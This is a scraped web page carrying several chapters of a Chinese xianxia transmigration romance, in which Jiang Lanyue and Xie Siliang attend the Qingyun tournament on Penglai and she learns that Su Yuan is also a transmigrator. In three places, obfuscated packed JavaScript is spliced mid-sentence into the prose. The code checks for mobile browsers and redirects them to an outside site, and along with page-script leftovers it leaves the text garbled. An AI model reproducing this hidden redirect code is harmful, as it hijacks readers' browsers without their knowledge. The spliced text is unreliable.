姜揽月吓了一跳，抬眼发现面前正站着谢思量。 “要炼制七天。” “七天？”谢思量一回来就看到姜揽月用手撑着脸，思绪不知道飘到哪里去了。 “嗯。” 他见姜揽月神游的样子，不经意间道：“想些什么呢？” “在想青云盛会。”她当然不可能和谢思量说起宿渊。 “对了，掌门刚刚找你是说这件事情？你去吗？” 这是姜揽月第一次问起掌门和他的谈话，谢思量嘴角轻勾：“嗯，我是领队。” 姜揽月转了转乌黑的瞳子：“那我岂不是能以摇光夫人的身份参加？” 谢思量眉眼弯弯：“自然。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314019|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “但我还是想以弟子的身份参加。”姜揽月想了想道。 谢思量：“都依你。” 姜揽月又惊呼道：“天哪，那我可一定要好好表现，可千万不能让你丢了脸。” 谢思量笑笑：“好。” 无论如何，他都会让姜揽月赢的。 “让我看看你最近修炼的如何？” 姜揽月有些迟疑：“可是我还要看着药。” 如今，不管什么都比不上她的丹药。 谢思量：“我帮你控制火候。” 她这才放了心：“好。” * 玉霄殿外，皎洁的月光倾泻在地上，梨花簌簌而落。 姜揽月怀抱太华，清风扬起她的发丝和裙摆，泠泠乐音自她指尖传出。 谢思量手中拿着观雪，他扬起手中的剑，剑光闪烁。 自从上次亲眼见到谢思量的实力后，姜揽月这才对“力量”二字有了真切实感。眼下与谢思量练习之时，不敢怠慢丝毫。 谢思量的剑道锋芒毕露，极具压迫感。而且他出剑之时剑气铺天盖地，毫无空隙，令人防不胜防。 刚开始姜揽月还能将其一一化解，后面便胡乱抵挡。次数多了后，姜揽月便觉得体力不支了。 当感觉她已经有所松懈后，太华的乐音却又化成了一只锋利的水箭。那只水箭贴着谢思量的脸堪堪滑过，谢思量转眼又出现了另一边。 “不错。” 姜揽月擦了擦鼻尖微微的汗，只觉得和自己水平相差太多的人一起练习太累了。 谢思量注意到她的动作：“累了？” 姜揽月没有否认：“嗯。” “那就休息会。” “好。”姜揽月便随意坐到了一块石头上。 “这次和之前相比有进步很大，”谢思量评价道，“不错，已经会向我发动攻击了。” “多谢。” 谢思量又道：“你如今已至金丹巅峰，即将要到达元婴。” “真的吗？！”姜揽月欣喜道，“那太好了！” 谢思量笑道：“嗯。” 随后，二人又陷入了一阵沉默。不过，姜揽月却没有丝毫尴尬，她和谢思量好像从开始就没有这种时候，两人尽管沉默却很自在，不像与其他人，有时候气氛冷场就会尴尬。 月光皎洁，繁星漫漫，这个世界的星空比她之前所在世界的星空要漂亮许多。有时她会想，两个世界的星空会是同一片星空吗？ 正当她发呆时，蓦地，她的眼中多出了一道明亮的剑光。姜揽月转过身子，只见数千道剑影在轨迹中环绕，如龙飞蛇舞，令人眼花缭乱。 姜揽月身处其中，只觉得自己的眼睛都快要看花了。 她有些疑惑，抬眼看谢思量：“这是什么？” 谢思量道：“这是剑心阵。” 他琥珀色的眼中倒映着剑光：“我来教你怎么破这个阵。” 姜揽月起身：“好。” 这应该是谢思量自创的剑阵。 身旁环绕的剑影好似忽然变慢，谢思量手持观雪，剑尖指着一处缺口处，道：“你看，这便是破绽，只要找到这个缺口，便可将这个阵破开。” 他继续道：“还有这个。” 姜揽月手中随后也现出了思君，指着一个缺口道：“那这个也是吗？” 谢思量没想到她理解的这么快，笑道：“对。” 他转头道：“会了吗？” 姜揽月回想了一下，最后点头道：“会了。” “以后若是碰到会破吗？” 少女肯定道：“会。” 谢思量的眼中不可抑制地滑过一丝笑意。 璀璨的剑光下，少女眸光盈盈，满是自己的身影。 45. 蓬莱仙岛（一） 三月时节，草长莺飞，春光降临大地，人间一片春暖花开。 当飞舟降临蓬莱岛时，姜揽月还处于兴奋状态，有一种出去春游的感觉。 此次青云盛会举办的地点在蓬莱仙岛。蓬莱仙岛位于这片大陆的极东之处，四面环水，岛上种满了桃花，开的很是热烈，如霞帔倾泻，清风吹过，掀起阵阵香浪。 昆仑梨花，蓬莱桃花，凌云海棠，正是这片大陆的仙界三美。 而这次昆仑宗参加青云盛会的领队是谢思量，这是谢思量第一次以长老的身份出现在其他宗门弟子的面前。其他宗门的长老和弟子看到谢思量也没有多加震惊，只叹于这位少年天才竟然真的如传言中那般容色如玉，惊才绝艳。 蓬莱岛主为了迎接他们，为来参加的宗派弟子都准备了客房。 昆仑仙宗一行人走入自己的院子里，只见院中的桃花开的也很是热烈，空气中萦绕着桃花的香气。 宋卿尘打量着周围：“早就听闻蓬莱的桃花，真是百闻不如一见，确实没啊。” 白晴雨赞同：“的确，快能媲美我们昆仑的梨花了。” “昆仑梨花，蓬莱桃花，还有凌云海棠，说是仙界三美呢。” “三美？”姜揽月抬眼，“原来还有凌云宗的海棠啊。” 她知道，在原来的小说中，宿渊便是凌云宗的，不知道这次能不能碰到他。 一行人将行李放回客房中，便开始自由活动了。很多弟子跃跃欲试，都想在这里大显身手一番，也有放平心态准备在这里游玩看景的。 姜揽月也是个喜欢热闹的性格，她将行李放回客栈后，便和宋卿尘几人一起出去了，谢思量则和其他宗门的长老以及蓬莱岛主一起商量青云盛会的事情。 几人跑去买了点特色桃花酿，回来的时候经过桃花林，这时候各大宗门的弟子几乎已经都到了，各种颜色的宗门服饰令人眼花缭乱。 姜揽月喝了一口桃花露：“哇，真是热闹啊。” 白晴雨眼中露出兴奋之情：“真想和他们切磋切磋。” 薛满一旁忽然道：“我看到我朋友了，我朋友在悬壶宗，我先去找他了。” 其余几人点头：“好。” 这时，又传来一道声音。 “咦，这不是摇光夫人吗？” 姜揽月闻言转过头，发现是上次拍卖会中和谢思量打招呼的人。他今日穿着绿色的道袍，看起来温文尔雅。 她道：“是你，温道友。” “姜道友好记性，居然还记得在下。”温言安道。 宋卿尘见状，双眼微咪：“温言安？” 温言安这才看到姜揽月身后的宋卿尘：“宋卿尘？” 他看看宋卿尘，又看看姜揽月：“哦，你们都是昆仑宗的，认识也正常。” 宋卿尘笑了笑，拍了拍姜揽月的肩：“这位现在如今可是我的师妹。” 温言安笑道：“原来如此。” 姜揽月：“你们认识吗？” 温言安点头：“算认识吧，我们的爷爷互相认识。” “你们这是在做什么？怎么这么多人？”白晴雨看向面前围在一起的一团人道。 “我们正在和万剑宗的弟子斗诗呢。” “斗诗？”宋卿尘道。 “对，斗诗。” 他话音刚落，便听一位男子道：“我刚刚那首是不是没人挑战了？若是没人挑战的话，就算我们万剑宗赢了。” “且慢，”一道少年音忽然响起，“诸位，让我来试一试。” 温言安：“宿渊，你什么时候会吟诗了？” 宿渊？ 姜揽月内心一动，随着温言安的目光看到穿着黑色衣衫的少年，他马尾高束，身形颀长，生得样貌俊朗，丰神俊秀。此时他正坐在一棵桃花树上，手中夹着一株桃花，看起来一副吊儿郎当的模样。 ？这是那个宿渊吗？ 姜揽月有些疑惑，不知道这只是同名，还是她已经遇到了这个世界的主角。毕竟上辈子由于她太着急回家，根本没有看宿渊的脸，所以如今也认不出来。 “既然这次的主题是蓬莱，那就让在下就献丑一首了。” 他说这话时从树上跳了下来，身材仿佛翠竹般挺拔。 “故人西辞碧云楼，烟花三月下蓬莱。孤帆远影碧空尽，唯见长江天际流。” 等等！ 什么“孤帆远影碧空尽，唯见长江天际流”？？ 这不是李白的诗吗？碧云楼是蓬莱岛中的一座建筑，所以这句诗就将“故人西辞黄鹤楼，烟花三月下扬州”中的“黄鹤楼”改成了“碧云楼”，“扬州”改成了“蓬莱”？ 在原来的小说中，宿渊也是这么装的吗？这作者未免也太能省事了吧，姜揽月有些不解。 或许……还有一种可能！ 她眸光一动，莫非这个宿渊也是穿越过来的？！ 而与姜揽月百转千回的心思不同，周围其他的弟子们已经纷纷鼓起掌来。 “好诗啊好诗啊，这最后一句表面是写景，却又不单纯是写景。这是一场非常具有诗意的离别，不禁让我想起来我大哥和我告别的时候，也是这样的景象，当时……” 温言安嗤笑：“想不到啊，你居然还会作诗。” “哪里哪里，献丑罢了，各位不要见笑。”宿渊谦虚道。 凌云宗一位弟子道：“我觉得是我们宗的宿渊赢了，刚刚万剑宗的那首诗怎么能比得上这首？”’ 一位路人道：“我也支持凌云宗。” “既然宿道友如此会作诗，不如我出上联，宿道友说下联，怎么样？”姜揽月在人群中忽然出声。 “啊？”宿渊内心震颤，他其实是一位高中语文只考69分的文盲啊，只能靠义务教育背会的那几首诗坑蒙拐骗，碰到有真才实学的他是一点也不敢啊。 他看向姜揽月，内心一怔，面前的女子穿着水蓝色云纹长裙，长相精致，身材高挑，在人群中颇为引人注目，不过他却觉得有些眼熟。 宋卿尘和白晴雨也看向姜揽月，眼神中都写满了“你还会这个”？ 正当宿渊准备假装吃坏肚子离开时，却听一旁那面容姣好的女子说道：“床前明月光。” 床前明月光？ 宿渊的动作一顿，这是华国小学生必背古诗词之一，只要是华国人，必定耳熟能详，谁若是不知道这句诗，谁就不是华国人！ 他当即便道：“疑是地上霜！” 姜揽月震惊，居然真的接上了，她又道：“举头望明月！” “低头思故乡！” “天王盖地虎！” “宝塔镇河妖！” “智慧树上智慧果！” “智慧树下你和我！” “老乡见老乡！” “两眼泪汪汪！” 当两双眼睛最后注视到对方的时候，二人都发现对方的眼中溢出了激动的泪水。 天哪，姜揽月怎么也想不到，这个世界居然还有人和她一样穿越过来了。 当即，她便对宿渊说：“宿道友，我有点修炼上的问题，不知可否和你讨论一番。” “当然了。”宿渊道，“不管你有什么问题我都随时奉陪。“ 留下几人面面相觑。 温言安对宋卿尘道：“不是，她不是你师妹，谢思量道侣吗？怎么还有修炼的问题问其他人？” 宋卿尘无言：“那我怎么知道？” 温言安：“算了，不管他们了，我们一起去喝桃花酿吧。” * “你也是穿越的？”阁楼里，姜揽月吃着零嘴，看着面前的黑袍男子，“你不是龙傲天男主吗？” “对啊。”宿渊剥了一个橘子，道，“我本来走个过场，结束了就能回到原来的世界，谁想到这个世界后来居然出了问题，我根本回不去，又重启了一次，系统也联系不上了。” “咳咳咳。”姜揽月咳嗽了一声，有些疑惑，“世界线重启？” “你没事吧？”宿渊关切道。 “没事没事，只是呛到了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331278|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可别出什么事情，我有点怕你那道侣。”宿渊忽然想起之前在中州看到的那对道侣，果然是姜揽月和谢思量。 “你一月的时候是不是去了中州？” 姜揽月的眼珠转了转，她没有隐瞒，道：“对。” “你还记不记得当时有个人撞到了你？” 姜揽月回想了一下，最后点头：“嗯。” 她想起来了，当时在中州，因为人很多，确实有一个高个子男子撞到了她，不过那个男子戴着面具，看不到面容。 她目露惊讶：“难道是你？” “对。”宿渊道，“当时你那道侣的眼神看起来要把我吃了。” “怎么可能？他是盲人。”姜揽月立马否认，“盲人的眼中不可能有情绪。” “啊？”这下轮到宿渊惊讶了，“谢思量什么时候成盲人了？” “不知道，这个世界里我一来就这样。” 宿渊眯起眼睛，他还是有些怀疑：“是吗？” 那晚谢思量的眼神怎么看也不像一个盲眼之人的眼神啊？明明就是想把他吃掉的眼神。 “继续说，”姜揽月道，“上一个世界中，为什么会世界线重启？当时发生了什么？” “这我也不清楚了。”宿渊叹息道，“按照原来的计划，我应该飞升成妖神，然后这个世界就结束了。可是没想到，就在我飞升的那一天，这个世界忽然碎了，然后便重新开始了。” “碎了？”姜揽月不是很能理解，“世界为什么会碎？” “就是，”宿渊竭尽全力描述，“就是天空忽然裂开了一道口子，风很大，然后再睁眼，便来到这一世了。” 姜揽月分析：“你这个描述，很像世界末日唉，一些末日小说就是这个情景。” 宿渊点点头：“其实也确实算的上一种‘世界末日’吧。” 随后他又叹了一口气：“唉，但是这本小说是龙傲天小说啊，不是末日小说，按计划我应该走上人生巅峰啊！” 姜揽月撇撇嘴，他这个“人生巅峰”不知有多少人要给他当垫脚石，她自己就是一个，甚至谢思量也算一个。 “对了，”宿渊又问道，“上辈子你为什么见到我就跳崖了？我甚至都没来得及和你打招呼。” 这真是他后来百思不得其解的问题。为何一个据说很喜欢他的妙龄女子，居然一见到他就跳崖自杀了？这怎么都不符合逻辑。 “唉，我当时……”姜揽月回忆起来，叹息道，“你穿越过来好歹还是个龙傲天主角，我就是一个小炮灰龙套，那个系统和我说，只要把剧情走完了，我就可以回家了。我最后一段剧情就是和你交易那一段，只要把水心莲给你，我就能回家了。我当时迫不及待回家，所以才会像那样。想都没想，就直接跳了。” “原来如此。”宿渊道，“我也很好奇怎么有人一见到我就想去死呢。所以你也是？跳完之后发现世界线重启？” “对，”姜揽月点头，“而且我的系统也不见了。” “我的系统也是。”宿渊泪流满面，“自从这个世界开始后，再也没有听到系统的声音了，我们不会要真的在这个世界一直待着吧，我想回家啊。” “不知道啊。”姜揽月忽然又问道，“对了，那个水心莲？你现在还需要吗？” “不需要了。”宿渊道，“很多事情和上一世已经不同了。” 姜揽月点点头：“确实。” 不仅事情，很多人，和上辈子也不一样了。 * 蓬莱大殿中，蓬莱岛主说完了这次青云盛会的规矩，其余的长老正在表态。 轮到谢思量后，众人却见他皱了皱眉。 ？这少年天才难道对这次规则有意见？ 蓬莱岛主试探道：“摇光仙君，你觉得如何？” 谢思量点点头：“我没有意见。” 蓬莱岛主松了一口气，他还以为谢思量对他们这次的安排不满意。 谢思量却陷入沉思，他的面前略过宿渊的脸，姜揽月和这个人之前认识吗？ 46. 蓬莱仙岛（二） 日暮四合，大片大片的火烧云在空中燃起。一阵清风吹过，灼灼的桃花花瓣落入了碧绿的湖水中。 湖中的亭子正坐着姜揽月和宿渊二人。 姜揽月抬起眼：“我真的很想回去。” 宿渊也神色怏怏：“我也是，让我回家吧。” 这时，亭子前的小路忽然经过了一对牵着手的男子和女子。 那女子穿着青色的交领长裙，行走时如碧波荡漾，面容清冷，鼻梁秀挺，唇若丹霞，不点而朱，整个人仿佛天上谪仙。但这位谪仙莹白的耳垂却坠着绿色的翎羽，随着她的走动轻轻晃动，为她的气质又添了一丝妖异。 而她身边的男子也生得俊秀不凡，穿着袭玄色窄袖劲装，眉眼疏淡，如墨的长发用一根玉簪挽起，宛如翩翩公子。 二人手牵着手一起行走在小路上，面容笑容盈盈，像是一对甜蜜的壁人。 这让姜揽月不由得多看了一眼。 宿渊在一旁在解释道：“那是蓬莱的少主东方霁，他身边的女子是他的未婚妻青瑶。青瑶原是蓬莱的弟子，修的是符咒之道，为符咒之道的天才。二人有一次一起出任务，东方霁遇袭，青瑶救了她，自此东方霁便对她情根深种，二人便结了婚约。” 姜揽月道：“听起来真是一桩两情相悦的美谈啊。” 宿渊抬眼：“你和谢思量不是？” 姜揽月被呛到，只得回答：“我们也是。” 这时，宿渊又说道：“不过，我倒是还听说一个小八卦。” “什么八卦？” “原来的东方霁是有一位未婚妻的，听说是他的青梅竹马，但是后来那位青梅却生病去世，然后，又过了几年，他便和青瑶结下婚约了。” 姜揽月愣住，才几年，男的变心这么快吗？ 不过，毕竟不是她的事情，她也不是当事人，不知道到底情况如何，不好评价。 宿渊看着她：“对了，我还想问你一个问题。” 姜揽月：“你问啊。” “谢思量不是无情道的吗？你们是什么情况？传言说谢思量是因为报恩和你结为道侣，我看不像啊。” “那你猜错了，我和谢思量就是因为这个成婚的。”姜揽月道。 宿渊：“真的吗？” “当然是真的了。”姜揽月道，“他可是无情道，你觉得无情道会动心吗？动心那就不是无情道了。” 见姜揽月这幅样子，宿渊闭了嘴，没说上辈子他与谢思量交手的时候，谢思量已经不是无情道了。 二人从亭子走回了桃花林，听到几个蓬莱弟子在讨论—— “天哪，听说丁师兄回家了。” “好可惜，丁师兄那么年轻就入了金丹，怎么说不修就不修了。” “听说是为了照顾生病的娘亲，丁师兄出生就没有父亲，一直都是他娘亲将他拉扯大，这次娘亲生病，自然想要回去好好侍奉母亲。” “原来如此，丁师兄真是孝顺。” “可惜了那么好的一个苗子。” 不听这话还好，一听这话，二人又陷入了相思的情绪。 宿渊：“我妈肯定很想我，还好现在还有我爸陪着我妈。” 姜揽月也道：“不知我家人现在怎么样了。” 行至了昆仑的院子，她道：“我先回去了，明天见。” 宿渊：“嗯，明天见。” * 待她回到自己的房间后，谢思量刚刚沐浴好。 只见他头发半干未干，柔顺地披散在脑后，皮肤极白，唇色极红，穿着白色的长袍，只用一根腰带勾勒出紧致的腰身，看起来清纯又妖冶。 姜揽月的内心颤了颤，嘴上却道：“你回来的这么早啊。” 谢思量：“结束后我便回来了。” 他看向姜揽月：“外面好玩吗？” “还不错，这里的桃花很美。”姜揽月道，“桃花酿很好喝，桃花露也很好喝。” 她拿出一瓶桃花露放于桌上：“我给你带回了一瓶桃花露，桃花露算是饮料，没有度数，可以尽情喝。” 她知道谢思量不喝酒。 听闻此话，谢思量的嘴角轻轻弯了弯，虽然他不喜欢喝，但这是姜揽月给他带的。 “那你先喝，我去沐浴。” “嗯。” 待她沐浴结束后，谢思量已经坐在榻上了。 在外二人是道侣，睡在一间房中理所应当，而姜揽月如今也习惯了，没有任何不自然的感觉，这也幸亏谢思量眼盲，但凡谢思量能看到她都不会这么自然。 她将烛火吹灭，自然地躺倒了榻上。 春日已至，空气中渐渐多出了一丝燥热，还萦绕着一丝若有若无的桃花香。 姜揽月翻来覆去睡不着，她转过身，面对着谢思量。 她知道谢思量基本不睡，或是睡得很浅。 皎洁的月光透过窗户照射进来，在地板上洒了一地白霜。 “谢思量，”少女忽然开口，“你还记得你之前参加青云盛会的时候吗？” 上一届的青云盛会在听潮书院举行，听潮书院位于西海附近。 上辈子姜揽月正溜达到这那里玩，见听潮书院汇聚了好多人，很是热闹，便装作是一名普通弟子混了进去。 少女坐在观众席，睁着乌黑的双眸，惊异地看着台上各种各样的术法。这些术法或是剑术，或是咒术，或是刀法，每一个看起来都是那么有趣。 原来她的兴趣一直都在这些术法之上，直到那个少年出现。 少年的年纪与她当时差不多大，他如墨的长发束成高高的马尾，身材颀长，穿着一身雪白的袍子。他的眼瞳是少见的琥珀色，乌黑的睫毛又长又卷，嘴唇是淡淡的胭脂色。 如此漂亮的一个人，面上的表情却是冷冷淡淡，没有一般少年人的傲气。 姜揽月当时看的内心一动，不知不觉便注视了他很久。 每当他出手之时，天空便会下起纷纷扬扬的白雪，落雪配美人，观赏性极高，台下响起了阵阵惊呼声。 当然，这些都只是观战众人的想法，谢思量对面的对手可不是这样想的，只觉得他的压迫感实在是太强了。 半刻钟后，这场单方面压制的比试便结束了。 谢思量收起了手中的长剑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346337|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他下台的时候，忽然抬起长睫，向观众席投下淡淡一眼。 是姜揽月所在的那个方向。 当她与那双琉璃般的瞳孔对上时，她的内心忽然一颤。 身边的弟子谈论起他，她这才知道原来他叫谢思量。 原来他是昆仑仙宗的弟子。 原来他是十五岁就入元婴的少年天才。 她在听潮书院待了好几天，直到问道比试结束，晋级的弟子都进入一个秘境中，她这才离开了那里。 所以当时那句“自青云盛会后，我便倾慕仙君”，并不是一句假话。 姜揽月凝望着面前的谢思量，他的唇今晚是殷红色的，像涂了口脂，不像当时浅浅的蔷薇色。 她忽然想到，即使当时没系统，她应该也会救谢思量的。 身旁的青年在此时开口：“当时怎么了？” 姜揽月目光盈盈：“我当时也在，你应该不知道吧？” 谢思量没有言语，他回忆起当时空中那股淡淡的冷香。 静默片刻后，他道：“你在弟子中。” 他用的是肯定的语气。 姜揽月笑了：“对。” 随后她回忆道：“我当时独自一人在大陆和海中游荡，经过听潮书院时，发现那里在举行青云盛会，所以就混进去看看了，然后我就看到了你。” “你当时在问道比试，拿着观雪，一出剑天空就会下雪，好不引人注目，当时我身边坐着的弟子全都在谈论你。” “那应该是我们的第一次见面吧。”姜揽月道，“不对，应该是我第一次见你，你当时还不认识我呢。” 黑夜中，谢思量静静地看着她，指尖不受控制地缠上她的长发，他记得，不过那当真是他们的第一次见面吗？他们的第一次相遇到底在哪？ 在他九岁时的中秋，皇家一起乘船游玩，当时他也在，船还未行驶一半，他便被人推入了水中。当时他只是一个不受重视的皇子，根本无人在意他。 而他迷迷糊糊间，却感觉有人救了自己，但是他当时身子弱，在水中的时间太长了，发着高烧，根本见不到救了自己的人，只记得那淡淡的冷香。 后来，青云盛会中，他闻到了记忆中的那股冷香，却不敢确定。 再后来，他追那条蛟龙直到太虚海，在太虚海又闻到了记忆深处的味道。 他曾经好奇过是不是所有的鲛人身上都有这股淡淡的香，但是在救下师萝樱后，他才发现只有姜揽月身上才有这个味道。 原来他们很早就相遇了。 他与姜揽月，是命中注定。 “谢思量，怎么不说话？” “嗯，或许吧。”谢思量道，“不过或许我们也曾在其他地方擦肩而过，只是我们不知道。” 姜揽月瞪圆了眼珠子，她望着天花板，脑海中又浮现出那个身穿白衣手拿观雪的身影，不由自主勾起嘴角：“确实也有可能，之前怎么没看出来你脑洞这么大。” 谢思量笑了笑，尽管在黑暗中，少女的眸子还是很亮。 “明日还有比试吧，睡吧。” “嗯。”姜揽月裹紧了被子。 47. 蓬莱仙岛（三） 蓬莱仙岛，问道台。 万众瞩目的青云盛会于今日正式开始。 按照规矩，本次青云盛会分为两轮，第一轮为擂台比武，随机选取二人比试，角逐出三百人。第二轮则让这三百名弟子进入浮生秘境，在秘境中探索，以出来的先后顺序判定名次，谁先出来谁便是魁首。 目前举行的便是擂台比武，由于参赛选手过多，一日之内不可能每一位弟子都会参加。而若是让这些未被选中的参赛弟子一直等待，未免有些过分浪费时间。 为了减少此种问题，于是便给每位弟子都分发了一个玉牌。若是玉牌亮了，便证明下一场比赛是自己参加，可提前上前等候。 观众席中，宋卿尘、姜揽月、白晴雨、薛满四人坐在一起。 宋卿尘八卦道：“听说这次榜首的三大热门人选是凌云宗的宿渊，蓬莱的东方霁，还有合欢宗的柳裁烟。” 白晴雨道：“怎么没我们昆仑宗？” 宋卿尘冷笑：“呵呵了，他们觉得之前我们昆仑出了个谢思量。这次就不会再有我们宗了，我们这次一定要证明给他们看看，真是小瞧了我们昆仑，既然上一次魁首在我们这，那么这一次也可能。” 白晴雨点头：“确实，得让他们看看本小姐的厉害。” 她话音刚落，便听台上的长老道：“下一场，昆仑仙宗白晴雨对战万剑宗何洛。” 薛满：“哇，好巧。” 白晴雨一怔：“这么快就是我啊。” 姜揽月：“加油哇。” 白晴雨点头：“我一定会把他打的家都找不到。” 等白晴雨上去后，她确实把对方直接打在地上，爬都爬不起来。 姜揽月惊呼：“晴雨这水平感觉涨了很多啊。” 薛满点头：“对方是金丹巅峰，按理说应该与白师姐水平不相上下，结果竟然被打成这样。” 等白晴雨下来后，台上的长老宣布道：“下一场，昆仑仙宗姜揽月对战凌云宗林雪。” 话音刚落，人群中变响起一阵窃窃私语。姜揽月这个名字最近他们都有所耳闻，是那位少年仙君的道侣。 他们很惊讶这位传说中的摇光夫人竟然也来参加青云盛会了，谢思量那么厉害，他的这位道侣不知实力如何。 一些在蓬莱仙岛游荡的弟子听说这件事后，直接赶到了观众席。片刻，观众席便座无虚席。 姜揽月一见观众席这幅样子，她就明白自己又要因为谢思量万众瞩目一回了。 宋卿尘看了出来，安慰道：“师妹，不用紧张，就算输了，师兄也可以帮你打回来。” 白晴雨道：“呸呸呸，说什么输呢，相信揽月。” 正当台上比的正激烈的时候，宿渊走了过来，他自然的坐到了姜揽月身边的空位上，对姜揽月介绍道：“林雪是术法宫的弟子，他的火咒挺厉害的。我之前和他交过手，你要小心他的烈火阵。” 蓬莱大殿中，谢思量和众位长老一起坐在水境前，水境中是弟子比试的场景。 一位长老摸着自己的胡子道：“如何？我的弟子，不错吧？” 身旁的另一位长老道：“我的亲传今日好像不上台，真想让你们见一见她。” 而谢思量坐在其中却没有参与讨论，他的眼前滑过宿渊的模样，怎么又是这个男子？难道他与姜揽月曾经认识？ 他不可抑制地想起梦魇中那句“我喜欢的根本不是你”。 姜揽月不喜欢他，难道喜欢她面前的这位男子？ * 问道台下，姜揽月看到了自己的好队友，连忙点头：“好。” 宋卿尘在一旁惊奇道：“你们什么时候关系这么好了？不是昨日才认识的吗？” 宿渊解释道：“我和姜道友是老乡，所以比较熟。” 宋卿尘：“原来如此，你们居然还是老乡。” 他话音刚落，台上的比试便结束了，该姜揽月上台了。 二人互相行礼后，比试便开始了。 面前的青年穿着白色的袍子，面容沉静。尽管对面的人是传说中少年天才的道侣，他也没有波澜，看起来不容小觑。 空中燃起几道明烈的火焰，姜揽月立马感到一股灼热之气，她暗道这火真是有点刻她。 她足尖轻轻一点，立马与林雪拉开了距离，同时用太华发动攻击，空中现出道道水箭，直奔林雪。林雪双眼微咪，发现对方也不是好对付的。 青年乌黑的瞳仁中有火焰闪现，他燃起了烈火阵。烈火如墙，将姜揽月团团围住。 观众席一片惊呼。 蓬莱大殿中，一位长老笑道：“摇光，这是你的道侣吧。” 谢思量没有否认：“嗯，台上的女子正是我的夫人。” “没想到居然碰上了林雪，林雪可是我们术法宫数一数二的弟子啊。” 谢思量眼中滑过一丝笑意：“是吗？我相信我夫人可以对付这种场面。” 几人再望向水境，只见熊熊烈火中出现了一道蓝色的水流。 姜揽月的指尖在弦上快速滑过，泠泠乐音在她周身形成护阵，保护她不受烈火阵的侵袭。 少女微微闭眼，当她再睁眼的时候，她的眉心浮现一滴湛蓝水精，整片天空忽然扭曲。恍惚间似有银河倾泻而下，那焚天烈火竟如烛火遇暴雨，被浇灭了。 这是天河倒悬。 台下弟子响起阵阵惊呼，这水火交融的场面真是美观啊。 水境前，一位长老惊讶道：“水灵根，居然会使天河倒悬。” 她看向谢思量：“你现在是她师尊？” 谢思量抬眼：“是我们宗的妙音长老。” 那位长老又笑道：“曲玄妙啊，怪不得，她是音修，确实可能是妙音的弟子。” 问道台。 宋卿尘惊呼：“师妹什么时候把这招都学会了。” 薛满道：“师娘真厉害。” 果然，下一刻便听评委道： “本次比试，昆仑仙宗，姜揽月胜。” 属于昆仑宗的观众席那边爆发出一片欢呼声。 水境前的谢思量也毫不掩饰的笑了笑，任谁都能看出来他现在心情很好。 姜揽月下台后，只觉精疲力尽，浑身的骨头都在叫嚣着难受。 说实在的，对手的实力不容小觑，她这次也是侥幸能赢。 回到座位后，宿渊便探过头道：“其实我刚刚没告诉你，怕给你压力，林雪的咒术在我们宗数一数二，他估计也没想到自己进入会在第一轮就败了。” 姜揽月笑道：“那我真厉害。” 宋卿尘道：“师妹，刚刚的表现真好啊，师兄用再帮你打回来了。” 姜揽月道：“那真是谢谢你了。” 她感到身子有些累，脑袋昏昏沉沉，正想回去休息会，却听台上长老道：“下场比试，蓬莱仙岛青瑶对战金刚宗洪破岳。” 青瑶？ 她怔了怔，这不是昨天看到的那个女子吗？她记得宿渊说这是术法的天才。 姜揽月收回了准备走的心思，想看看青瑶的实力。 白晴雨拿过一瓶桃花露：“要不要喝点？” 姜揽月：“多谢。” 她将桃花露一饮而尽，看着那个面容淡雅的女子走上了台。对面是体修的弟子，身材魁梧，仿佛一座肌肉堆砌的山岳，与纤瘦的青瑶形成了鲜明的对比。 清风掀起她青色的裙摆，让她看起来好似一朵柔弱的小白花。 洪破岳站在台上，他知道对面的女子只是看起来柔弱，实际上却是这次青云盛会夺魁的热门人选，不敢有丝毫怠慢。 青瑶只是看着他淡淡的笑。 宿渊在一旁替几人讲解：“洪破岳是体修一脉，体修都是这些大块头。我有一次不小心打到他们的肌肉，真的硬的像钢铁一样。” 白晴雨瞥了他一眼：“你怎么知道的这么多？” 少年人的友谊很简单，就这几天，几人便已经熟悉了。 宿渊喝着桃花露：“之前交手过，青瑶对付这种肯定手到擒来。” 他话音刚落，便见台上忽然生出了许许多多的绿色藤蔓，随之而来的是漫天柳叶般的风刃。风刃铺天盖地，对方完全毫无还手之力，简直是一场单方面的压制。 姜揽月微微震惊，不到一刻钟，台上的长老便宣布青瑶获胜。 她不可思议道：“原来这就是术法的天才。” 她又想起之前宋卿尘说的夺魁人选，蓬莱仙宗的是东方霁，而不是青瑶。 “青瑶已经这么厉害了，东方霁比她还厉害？” 宿渊道：“传言是这样的。” ！！这青云盛会真的是群英荟萃，姜揽月终于明白为何上一次谢思量十五岁夺魁震惊修仙界了。 这些是正常人吗？！简直是怪物啊！ “你啥时候上去？”姜揽月小声，“我想看看主角的实力。” 宿渊微怔：“系统不在，我现在不是主角。” 